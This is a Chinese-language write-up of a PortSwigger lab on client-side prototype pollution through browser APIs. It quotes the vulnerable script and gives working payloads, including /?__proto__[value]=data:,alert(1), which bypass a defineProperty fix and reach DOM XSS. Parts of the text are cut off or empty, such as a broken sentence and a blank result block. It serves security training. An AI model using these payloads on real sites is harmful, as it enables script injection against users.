> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/client-side-prototype-pollution-via-browser-apis.md).
# 通过浏览器 API 的客户端原型污染
通过浏览器 API 的客户端原型污染，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### 使用浏览器 API 的客户端原型污染
#### 实验环境
这个实验存在一个 **DOM XSS** 通过一个……触发 **客户端原型污染**。/ 开发者已识别出一个潜在的 gadget 并尝试修复，但仍有可能 **绕过补丁**.
目标：
* 寻找一个 **源** 向……添加任意属性的 `Object.prototype`
* 识别一个 **gadget 属性** 从而导致 JavaScript 执行
* 将两者结合以触发 `alert()`
### 1）来源： `Object.prototype` 通过 URL 进行污染
#### 来自查询字符串的注入
通过 URL 测试污染：
```javascript
/?__proto__[foo]=bar
```
#### 在控制台中控制
在浏览器控制台中：
```javascript
console.log({}.foo)
```
结果： `bar`/ 这证实可以向全局原型中注入属性。
### 2）理解影响：改变对象的行为
通过对象修改原型的示例：
```javascript
const jordan = {
}
jordan.__proto__.country = "Andorra"
```
然后：
```bash
console.log({}.country)
```
现在所有对象都继承 `country`，这显示了污染的整体影响。
### 3）gadget：通过继承属性动态加载脚本
有趣的文件是：
`/resources/js/searchLoggerConfigurable.js`
```javascript
async function logQuery(url, params) {
try {
await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
} catch(e) {
console.error("保存查询失败");
}
}
async function searchLogger() {
let config = {params: deparam(new URL(location).searchParams.toString()), transport_url: false};
Object.defineProperty(config, 'transport_url', {configurable: false, writable: false});
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
if(config.params && config.params.search) {
await logQuery('/logger', config.params);
}
}
window.addEventListener("load", searchLogger);
```
#### 关键脚本行为（摘要）
* 它构建一个对象 `config` 包含：
* `params` （来自 URL）
* `transport_url` 初始化为 `false`
* 它锁定 `config.transport_url` 替换为 `Object.defineProperty(... configurable:false, writable:false)`
* 然后：
* 如果 `config.transport_url` 为真 → 它会创建一个 `
```
`src` 是可控的。
#### 步骤 2：通过一个 `data:` URL
最终有效载荷：
```javascript
/?__proto__[value]=data:,alert(1)
```
观察到的结果：
```javascript
```
浏览器解释 `data:,alert(1)` 并执行 `alert(1)`: **DOM XSS 成功**.
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